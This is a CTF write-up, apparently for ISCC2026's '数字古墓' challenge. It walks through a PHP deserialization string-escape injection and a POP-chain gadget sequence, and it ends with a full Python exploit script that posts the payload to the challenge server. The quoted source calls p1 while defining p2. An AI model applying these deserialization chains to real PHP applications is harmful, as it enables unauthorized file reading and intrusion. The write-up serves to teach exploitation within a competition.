web-数字古墓
ISCC2026 WriteUp 提交模板
web-数字古墓
在被遗忘的数字荒原深处
沉睡着一座古老的“序列陵墓”
传说陵墓中布满机关
前殿守着能够吞噬字符的“文字陷阱”
后殿则由一连串会自行苏醒的“对象守卫”看守
只有能读懂变量铭文
操纵机关链条的探索者
才能解开陵墓的终极封印——
并从沉迷千年的黑暗中带走那段隐藏的 FLAG
你,准备好踏入这座数字墓室了吗?
题目地址:39.105.213.28:10026
解题思路(必须包含文字说明+截图)
1.控制台查看逻辑,发现有个路径,直接拼接访问:http://39.105.213.28:10026/rune_trial.php

访问后是个原码:

原码:
class nameA {
public $x;
public $y;
public function __construct($a, $b) {
$this->x = $a;
$this->y = $b;
}
public function __wakeup() {
if ($this->y === 'admin123') {
include('relic_manifest.php');
echo "成功!文件名: " . $filename;
}
}
}
function p2($i) {
$key = "bnhpjowd";
$search = '';
for ($j = 0; $j < strlen($key); $j++) {
$search .= chr(ord($key[$j]) - 1);
}
$replace = 'iscc';
return str_replace($search, $replace, $i);
}
if (isset($_GET['d']) && isset($_GET['p'])) {
$input = $_GET['d'];
$passwd = $_GET['p'];
if (strpos($input, 'amgoinvc') === false) {
die('invalid input');
}
$obj = new nameA($input, $passwd);
$ser = serialize($obj);
$result = p1($ser);
unserialize($result);
}
2.分析源码

这里需要伪造y

这里可以看到,会把amgoinvc替换为iscc

amgoinvc 会在序列化后被替换成更短的 iscc,于是字符串长度声明和真实内容脱节。我们考虑使用四个amgoinvc,这样序列化后会少16个字节。
s:32:"amgoinvcamgoinvcamgoinvcamgoinvc";-> s:32:"iscciscciscciscc";
所以 PHP 反序列化时,看到的是:s:32:"iscciscciscciscc...,其会坚持去阅读32个字节。
所以我们可以构造:O:5:"nameA":2:{s:1:"x";s:32:"iscciscciscciscc";s:1:"y";s:26:"";s:1:"y";s:8:"admin123";}";}
在读完iscc之后,还需要继续吞掉16个字节,刚好吃掉";s:1:"y";s:26:"。当x被收尾之后,剩下的就是s:1:"y";s:8:"admin123";}";}->$this->y = "admin123"。

我们记一下:W3f82KD9.txt
3.第二关

入口点:$data = @unserialize($input, ['allowed_classes' => $allowed]);也就是只能反序列化白名单类。
核心类如下:
class RitualEngine {
protected $settings;
public $target;
public $callback;
public function run($file = null) {
$baseDir = __DIR__;
$name = $file ?: $this->target;
if (!$name) return;
if (!preg_match('/^[A-Za-z0-9_-]+\.txt$/', $name)) return;
$path = $baseDir . DIRECTORY_SEPARATOR . $name;
$real = realpath($path);
if ($real === false) return;
if (strpos($real, $baseDir . DIRECTORY_SEPARATOR) !== 0) return;
if (@is_file($real) && @filesize($real) < 2048) {
@highlight_file($real);
}
}
public function __invoke() {
if (empty($this->callback)) return;
$action = @unserialize($this->callback);
if (!is_array($action) || count($action) !== 2) return;
[$obj, $method] = $action;
if (!($obj instanceof self)) return;
if (!is_string($method)) return;
$map = [
'view' => 'run',
];
if (!isset($map[$method])) return;
$real = $map[$method];
$obj->$real();
}
}
class GateSentinel {
public $object;
public $tool;
public function __toString() {
if (isset($this->tool['blade'])) {
$this->tool['blade']->object;
}
return "GateSentinel";
}
public function __wakeup() {
if (preg_match("/\.\.|flag|etc/i", $this->object)) {
$this->object = "index.html";
}
}
}
class Keystone {
public $center;
public function __get($name) {
$processor = $this->center;
if (!is_object($processor)) return null;
$safeClasses = ['RitualEngine', 'GateSentinel', 'RuneScribe', 'Chronicler', 'Keystone'];
if (!in_array(get_class($processor), $safeClasses, true)) return null;
if (is_callable($processor)) {
return $processor();
}
return null;
}
}
先看GateSentinel::__wakeup()

里面的正则匹配时,如若$this->object不是字符串,而是对象会触发__toString。
如果 tool['blade'] 放的是 Keystone 对象,其里面不存在object属性会触发Keystone::__get('object')。

若 center 是 RitualEngine,由于它实现了 __invoke()方法, 所以is_callable($processor)判断通过接着调用RitualEngine::__invoke()

在这个方法中会调用:$action = @unserialize($this->callback);,做反序列化。
接着看: [$obj, $method] = $action;,要求 $obj 是 RitualEngine 实例, $method 必须是字符串。 view 通过映射变成 run。

run需要的参数就是target,且是RitualEngine中的函数,所以我们可以设计callback为:[ inner_RitualEngine, "view" ],其中inner_RitualEngine->target = "W3f82KD9.txt"。
如此,即可。

运行exp有:ISCC{ankh_rune_sigma_47x_decrypted}
Exp
import requests
TARGET = "W3f82KD9.txt"
URL = "http://39.105.213.28:10026/mechanism_chamber.php"
def pack_str(text):
return 's:%d:"%s";' % (len(text), text)
def pack_key(key):
if isinstance(key, int):
return f"i:{key};"
return pack_str(key)
def pack_array(items):
chunks = [f"a:{len(items)}:{{"]
for k, v in items:
chunks.append(pack_key(k))
chunks.append(v)
chunks.append("}")
return "".join(chunks)
def pack_object(class_name, fields):
pieces = [f'O:{len(class_name)}:"{class_name}":{len(fields)}:{{']
for name, value in fields.items():
pieces.append(pack_str(name))
pieces.append(value)
pieces.append("}")
return "".join(pieces)
reader = pack_object("RitualEngine", {
"target": pack_str(TARGET),
"callback": pack_str(""),
})
dispatch = pack_array([
(0, reader),
(1, pack_str("view")),
])
trigger = pack_object("RitualEngine", {
"target": pack_str("dummy.txt"),
"callback": pack_str(dispatch),
})
pivot = pack_object("Keystone", {
"center": trigger,
})
string_gate = pack_object("GateSentinel", {
"object": pack_str("start.html"),
"tool": pack_array([
("blade", pivot),
]),
})
entry = pack_object("GateSentinel", {
"object": string_gate,
"tool": pack_str(""),
})
resp = requests.post(URL, data={"data": entry}, timeout=8)
print(resp.text)

浙公网安备 33010602011771号